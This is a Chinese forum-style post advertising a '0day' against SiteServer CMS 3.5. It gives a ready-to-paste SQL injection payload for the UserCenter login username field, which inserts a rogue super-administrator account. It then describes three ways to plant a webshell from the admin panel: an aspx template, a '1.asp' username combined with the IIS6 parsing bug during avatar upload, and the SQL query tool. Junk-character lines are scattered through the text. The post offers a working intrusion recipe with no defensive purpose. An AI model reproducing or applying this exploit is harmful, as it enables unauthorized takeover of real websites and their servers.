SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版

stieserver官网:www.siteserver.cn
" s( V) Y' O  F# l% L, Y2 Q

) d7 y4 V7 g, Q- k  a
+ q6 O; K4 z. I- ?EXP:
6 O& A2 Z/ E% n
直接访问UserCenter/login.aspx
& ~1 D: W5 Y# J1 R! F
5 \: i1 U( i5 x) g
3 m- z0 C' m, K& [* E6 \
& ^% h2 g: z1 f/ N9 H' g/ U/ ?用户名处输入：

123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

) y0 W7 F/ [# `- h) K
/ T  M! j4 {1 p) ?
: L: R8 j0 Z3 P. W# q: }密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。

6 n7 o8 x. x" W# D+ Q7 }4 w
. L* V, y- k) C
之后再访问后台SiteServer/login.aspx用插入的用户登陆



- e, J8 L# q' v9 U1 e  B8 L后台拿webshell的三种方法：
0 W5 ^) w  I4 I+ M6 i* g7 j. ]
一、

; r: H* a' _' [0 {9 _$ z站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
8 y% m9 n7 U. G. E7 I
+ D, O3 J' V& G) R二、

4 F& y) I2 L/ C- v成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/

用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
# ]7 n3 Z' y! {+ x
（ps：后台添加用户时不会验证是否含有非法字符）
& w4 m" R) x9 e9 t( a
三、

系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径
1 L# p1 h. |7 T1 h# e- V2 w
* V( \$ {- k' i/ w  X系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。
. \+ d2 J/ m% V# q9 p0 M/ g( o
) p8 ]6 T7 n: w; E- [1 w) L! r6 @